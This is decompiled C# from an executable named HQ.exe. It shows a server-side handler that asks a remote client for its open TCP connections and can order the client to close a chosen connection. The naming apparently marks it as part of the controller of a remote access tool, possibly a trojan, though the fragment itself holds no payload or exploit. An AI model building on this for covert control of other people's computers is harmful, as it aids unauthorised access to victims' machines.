﻿// Decompiled with JetBrains decompiler
// Type: InvokedServer.Messages.TcpConnectionsHandler
// Assembly: HQ, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: C53BC0E5-A85B-41E9-8105-FC74ED122A9A
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\HQ.exe

using InvokedCommon.Messages;
using InvokedCommon.Models;
using InvokedCommon.Networking;


namespace InvokedServer.Messages
{
	public class TcpConnectionsHandler : MessageProcessorBase<TcpConnection[]>
	{
		private readonly InvokedServer.Networking.Client _client;

		public TcpConnectionsHandler(InvokedServer.Networking.Client client)
		  : base(true)
		{
			this._client = client;
		}

		public override bool CanExecute(IMessage message) => message is GetConnectionsResponse;

		public override bool CanExecuteFrom(ISender sender) => this._client.Equals((object)sender);

		public override void Execute(ISender sender, IMessage message)
		{
			if (!(message is GetConnectionsResponse message1))
				return;
			this.Execute(sender, message1);
		}

		public void RefreshTcpConnections() => this._client.Send<GetConnections>(new GetConnections());

		public void CloseTcpConnection(
		  string localAddress,
		  ushort localPort,
		  string remoteAddress,
		  ushort remotePort)
		{
			this._client.Send<DoCloseConnection>(new DoCloseConnection()
			{
				LocalAddress = localAddress,
				LocalPort = localPort,
				RemoteAddress = remoteAddress,
				RemotePort = remotePort
			});
		}

		private void Execute(ISender client, GetConnectionsResponse message)
		{
			this.OnReport(message.Connections);
		}
	}
}